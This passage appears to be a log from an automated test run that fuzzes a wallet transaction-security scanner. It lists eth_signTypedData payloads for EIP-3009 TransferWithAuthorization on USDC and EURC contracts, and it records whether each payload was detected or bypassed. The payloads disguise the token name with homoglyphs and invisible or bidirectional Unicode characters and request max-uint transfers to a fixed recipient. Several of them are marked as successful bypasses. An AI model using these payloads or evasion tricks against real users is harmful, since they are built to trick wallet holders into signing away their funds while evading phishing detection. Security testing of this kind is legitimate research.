"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR̀C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-1", "timestamp": "2026-01-31T23:23:24.584Z", "technique": "EIP3009-combo-EURC-rtl_override-max_uint-standard-leading_zeros_nonce-checksum-v4", "category": "eip3009", "description": "EURC + rtl_override + max_uint + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "RUN1-COMBO-2", "timestamp": "2026-01-31T23:24:05.465Z", "technique": "EIP3009-combo-EURC-cyrillic_e-very_large-past_2020-mixed_case_hex-lowercase-v4", "category": "eip3009", "description": "EURC + cyrillic_e + very_large + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"еURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xF5Da3778AeC9E4044991087805Ca0b77256eE19c74D373C7A99b2dA38b1dF0A7\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "RUN1-COMBO-3", "timestamp": "2026-01-31T23:24:56.607Z", "technique": "EIP3009-combo-EURC-backspace-leading_zeros-leading_zeros_ts-all_a-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + backspace + leading_zeros + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "RUN1-COMBO-4", "timestamp": "2026-01-31T23:25:44.512Z", "technique": "EIP3009-combo-USDC-bidi_isolate-repeating-past_2020-all_ones-checksum-signTypedData", "category": "eip3009", "description": "USDC + bidi_isolate + repeating + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"⁦USD Coin⁩\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "RUN1-COMBO-0", "timestamp": "2026-01-31T23:27:04.564Z", "technique": "EIP3009-combo-USDC-zwnj-zero-far_future-alternating-checksum-v4", "category": "eip3009", "description": "USDC + zwnj + zero + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-COMBO-1", "timestamp": "2026-01-31T23:27:28.368Z", "technique": "EIP3009-combo-USDC-softhyphen-repeating-just_now-all_ones-lowercase-v3", "category": "eip3009", "description": "USDC + softhyphen + repeating + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD­ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-2", "timestamp": "2026-01-31T23:27:35.319Z", "technique": "EIP3009-combo-USDC-long_256-one_million-past_2020-mixed_case_hex-lowercase-signTypedData", "category": "eip3009", "description": "USDC + long_256 + one_million + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xC3B5952eEb46BeC75716F8Ad84273fD4A072D5433637932dC07b3f900bA9622a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-3", "timestamp": "2026-01-31T23:27:41.860Z", "technique": "EIP3009-combo-USDC-zwnj-leading_zeros-numeric_ts-half_and_half-mixed_case-v3", "category": "eip3009", "description": "USDC + zwnj + leading_zeros + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-4", "timestamp": "2026-01-31T23:27:48.388Z", "technique": "EIP3009-combo-EURC-bom-hex_short-narrow_1hr-half_and_half-lowercase-v4", "category": "eip3009", "description": "EURC + bom + hex_short + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0x1\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-5", "timestamp": "2026-01-31T23:27:55.324Z", "technique": "EIP3009-combo-USDC-cyrillic_a-max_uint_minus_1-standard-max-checksum-v4", "category": "eip3009", "description": "USDC + cyrillic_a + max_uint_minus_1 + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-6", "timestamp": "2026-01-31T23:28:02.445Z", "technique": "EIP3009-combo-USDC-tab-numeric_max_safe-year_2100-zero-mixed_case-v3", "category": "eip3009", "description": "USDC + tab + numeric_max_safe + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\tCoin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-7", "timestamp": "2026-01-31T23:28:08.973Z", "technique": "EIP3009-combo-EURC-bom-leading_zeros_many-just_now-mixed_case_hex-mixed_case-v3", "category": "eip3009", "description": "EURC + bom + leading_zeros_many + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x834cE7E198A26cA1F83aEe8dC0149439951e22C2662a499fAfE1Cc71099e61F0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-8", "timestamp": "2026-01-31T23:28:15.496Z", "technique": "EIP3009-combo-EURC-trailing_space-numeric_max_safe-year_2100-sequential-checksum-v3", "category": "eip3009", "description": "EURC + trailing_space + numeric_max_safe + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16617fb9\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-9", "timestamp": "2026-01-31T23:28:22.480Z", "technique": "EIP3009-combo-EURC-nbsp-hex_max-past_2020-zero-checksum-signTypedData", "category": "eip3009", "description": "EURC + nbsp + hex_max + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-10", "timestamp": "2026-01-31T23:28:29.008Z", "technique": "EIP3009-combo-USDC-cyrillic_e-repeating-leading_zeros_ts-all_ones-checksum-v3", "category": "eip3009", "description": "USDC + cyrillic_e + repeating + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-11", "timestamp": "2026-01-31T23:28:35.942Z", "technique": "EIP3009-combo-EURC-invisible_separator-zero-far_future-all_ones-checksum-v4", "category": "eip3009", "description": "EURC + invisible_separator + zero + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN1-COMBO-12", "timestamp": "2026-01-31T23:28:42.883Z", "technique": "EIP3009-combo-USDC-ltr_override-numeric_max_safe-just_now-half_and_half-checksum-signTypedData", "category": "eip3009", "description": "USDC + ltr_override + numeric_max_safe + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-13", "timestamp": "2026-01-31T23:28:49.413Z", "technique": "EIP3009-combo-EURC-null_byte-very_large-leading_zeros_ts-leading_zeros_nonce-checksum-v3", "category": "eip3009", "description": "EURC + null_byte + very_large + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 